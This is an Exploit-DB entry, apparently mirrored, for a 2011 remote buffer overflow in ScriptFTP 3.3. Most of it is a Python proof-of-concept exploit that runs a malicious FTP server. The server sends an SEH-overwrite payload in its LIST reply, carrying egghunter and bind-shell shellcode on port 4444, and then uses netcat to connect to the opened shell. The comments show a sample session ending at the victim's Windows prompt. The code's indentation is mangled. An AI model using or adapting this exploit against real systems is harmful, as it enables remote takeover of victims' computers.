ScriptFTP 3.3 – Remote Buffer Overflow (LIST) (1)

  • 作者: modpr0be
    日期: 2011-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17876/
  • # Exploit Title: ScriptFTP <=3.3 Remote Buffer Overflow (LIST)
    # Date: September 20, 2011
    # Author: modpr0be
    # Software Link: http://www.scriptftp.com/ScriptFTP_3_3_setup.exe
    # Version: 3.3
    # Tested on: Windows XP SP3, Windows Server 2003 SP1 (SE) (VMware 3.1.4 build-385536)
    # CVE : -
    #
    # Thanks: offsec, exploit-db, corelanc0d3r, 5M7X, loneferret, mr_me, _sinner
    # 
    # You should create your own script to work with ScriptFTP
    # for example; enable passive and get the remote directory 
    # on your evil ftp server.
    #
    # my example script:
    # OPENHOST("8.8.8.8","ftp","ftp")
    # SETPASSIVE(ENABLED)
    # GETLIST($list,REMOTE_FILES)
    # CLOSEHOST
    # save it to a file with .ftp extension (eg: exploit.ftp)
    
    # root@bt :/# python scriptftp-bof-poc.py
    # [*] ScriptFTP 3.3 Remote Buffer Overflow POC
    # [*] by modpr0be[at]digital-echidna[dot]org.
    # [*] thanks a lot to cyb3r.anbu | otoy :)
    # =============================================
    # [*] Evil FTP Server Ready
    # [*] Server initiated.
    # [*] Awaiting connection...
    # [*] Connection created by 172.16.87.129.
    # [*] Establishing session.
    # [*] Pwning in progress..
    # [*] This may take up 50 seconds or less.
    # [!] Hunter is hunting the Egg ;)
    # [!] Waiting for a shell..
    # [!] 0wn3d..!
    #
    # Microsoft Windows XP [Version 5.1.2600]
    # (C) Copyright 1985-2001 Microsoft Corp.
    #
    # C:\Program Files\ScriptFTP>
    #
    # Yes, this poc is using PASSIVE connection and it will
    # take some time to establish. I love the way we wait for a shell ;)
    
    #!/usr/bin/python
    
    import socket
    import os
    import sys
    import time
    
    class ftp_server:
    def __init__(self):
    self.host = '0.0.0.0'
    self.passive_port = 7214
    self.log("""
    [*] ScriptFTP <=3.3 Remote Buffer Overflow POC
    [*] by modpr0be[at]digital-echidna[dot]org
    [*] thanks a lot to cyb3r.anbu | otoy :)
    =============================================
    [*] Evil FTP Server Ready""")
    
    self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.sock.bind(('', 21))
    self.sock.listen(1)
    
    a = self.passive_port/256
    b = self.passive_port%256
    self.tuple_port = (a, b)
    self.host_join = ','.join(self.host.split('.'))
    self.passive = False
    
    self.log("[*] Server initiated.")
    
    def log(self, msg):
    print msg
    
    def get(self):
    return self.conn.recv(1024).replace('\r', '').replace('\n', '')
    
    def getcwd(self):
    return os.getcwd().split(chr(92))[-1]
    
    def put(self, ftr):
    x = {
    
    150:" Data connection accepted from %s:%s; transfer starting.\r\n226 Listing completed."%(self.host, self.passive_port),
    200:" Type okay.",
    220:" %s Server is ready."%self.host,
    226:" Listing completed.",
    227:" Entering Passive Mode (%s,%s,%s)"%(self.host_join, self.tuple_port[0], self.tuple_port[1]),
    230:" User logged in, proceed.",
    250:' "/%s" is new cwd.'%self.getcwd(), 
    257:' "/%s" is cwd.'%self.getcwd(),
    331:" User name okay, need password.",
    502:" Command not implemented.",
    551:" Requested action aborted. Page type unknown."
    
     }[ftr]
    
    s = '%s%s\r\n'%(ftr, x)
    self.conn.send(s)
    return s
    
    def main(self):
    self.log("[*] Awaiting connection...")
    self.conn, addr = self.sock.accept ()
    self.log("[*] Connection created by %s.\n[*] Establishing session."%addr[0])
    	self.put(220)
    self.log("[*] Pwning in progress..")
    	self.log("[*] This may take up 50 seconds or less.")
    
    while 1:
    try: 
    data = self.get().upper()
    except socket.error:
    self.conn.close()
    self.sock.shutdown(socket.SHUT_RDWR)
    raise socket.error
    	
    if data[:4] == 'USER': s = 331
    elif data[:4] == 'PASS': s = 230
    elif data[:3] == 'PWD':s = 257
    elif data[:4] == 'TYPE': s = 200
    elif data[:4] == 'PASV':
    # create passive port
    self.sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.sock2.bind(('', self.passive_port ))
    self.sock2.listen(1)
    s = self.put(227)
    self.conn2, addr = self.sock2.accept()
    self.passive = True
    s = 0 # don't routine
    
    elif data[:3] == 'CWD':
    try:
    os.chdir('..%s'%data.split(' ')[-1])
    s = 250
    except OSError:
    s = 551
    		
    elif data[:4] == 'LIST':
    s = self.put(150)
    s = self.passive_do(1)
    s = 0 # don't routine
    		print "[!] Hunter is hunting the Egg ;)"
    		time.sleep(50)
    		print "[!] Waiting for a shell.."
    		time.sleep(2)
    		print "[!] 0wn3d..!\n"
    		os.system("nc %s 4444"%addr[0])
    		sys.exit()
    else:
    		s = 502
    
    if s:
    s = self.put(s)
    
    def passive_do(self, id):
    if id == 1:
    	#bind to port 4444
    	bind = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQ"
    "APA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1A"
    "IQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLI"
    "XTIKPKPKPC0DIZENQXRS4DK0RNPTKPRLLTKR2LTTKBRO"
    "8LOVWPJMVNQKONQGPFLOL1Q3LLBNLMPY18OLMM1I7K2J"
    "P0RR74KPRN0DKOROLKQZ0DKOPRX4EY0RTPJKQXP0PTK1"
    "8N8DKQHMPKQHSJCOLOYTKODDKM1HVNQKONQY0VLWQHOL"
    "MKQWWP8IPCEL4LCSML8OK3MMTRUK2R84KQHMTM1YCQV4"
    "KLLPKTKPXMLKQZ3TKM4TKKQ8P4IQ4O4MTQKQK1QPYPZ2"
    "1KOK0PXQO1J4KN2ZKU61MQXNSP2KPKPS82W2SP21OQD3"
    "80LSGNFLGKOZ56X4PM1KPKPO9XDPTPPQXNI3P2KM0KOX"
    "U0PPPPP0POP0POPPPQXJJLOIOYPKOJ5SYGWNQIKPSBHM"
    "2KPN1QLU9YVRJLPQFQGC8GRIK07QWKO8U0SR7C87GZIP"
    "8KOKOJ50SR3PWRHCDZLOKYQKO8UPW5997QX2URN0MQQK"
    "OYEQX33BMQTKPSYJCPWPWR701JV2JMBR926IRKMQVGWO"
    "TMTOLKQKQTMPDNDLP7VKPQ40TB0PVPVPVOV26PNQFR6P"
    "SR6C8SIXLOOTFKOXUCY9P0N0VPFKONPS8KXSWMMQPKO9"
    "E7KL0X5W2QFQXVFTUWMEMKOHUOLKV3LKZU0KKYP2ULEW"
    "KQ7MCT2BO2JKPQCKOZ5A")
    	
    	# 32bit egghunter from corelanc0d3r, thx ;)
    	egghunter = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA"
    			 "IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5"
    			 "8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB"
    			 "ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1"
    			 "HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O"
    			 "SEYWKOYWA")
    				 
    	junk = "A" * 1746		#junk
    	nseh = "\x61\x62"		#nseh
    seh = "\x45\x5B" 		#seh ppr somewhere on scriptftp dir 
    
    	#prepare for align
    align = "\x60"			#pushad
    	align += "\x73"			#nop/align
    	align += "\x53"			#push ebx
    	align += "\x73"			#nop/align
    align += "\x58"			#pop eax
    	align += "\x73"			#nop/align
    	align += "\x05\x02\x11" 	#add eax,0x11000200
    	align += "\x73" 	#nop/align
    align += "\x2d\x01\x11" 	#sub eax,0x11000120
    	align += "\x73" 	#nop/align
    	
    	#walking
     	walk = "\x50"			#push eax
    	walk += "\x73"			#nop/align
    	walk += "\xc3"			#ret
    
    	#align again
    	align2 = "0t0t" + "\x73\x57\x73\x58\x73"		#nop/push edi/nop/pop eax/nop
    	align2 += "\xb9\x1b\xaa"			#mov ecx,0xaa001b00
    	align2 += "\xe8\x73"			#add al,ch + nop
    	align2 += "\x50\x73\xc3"			#push eax,nop,ret
    
    	sampah1 = "\x44" * 106 + "\x73"		#eax+106/align nop
    	sampah2 = "\x42" * 544			#right after shellcode
    	
    	crash = junk+nseh+seh+align+walk+sampah1+egghunter+sampah2+align2+bind+sampah1
    
    res = """-rwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 """+crash+""".txt\r\ndrwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 A\r\nrwxr-xr-x 5 ftpuserftpusers 512 Jul 262001 """+ crash +".txt\r\n"
    
    self.conn2.send(res)
    # self.conn2.send('\r\n') # send blank
    	return res
    
    try:
    	ftp_server().main()
    except socket.error:
    print "[!] Socket is not ready, shutting down...\n"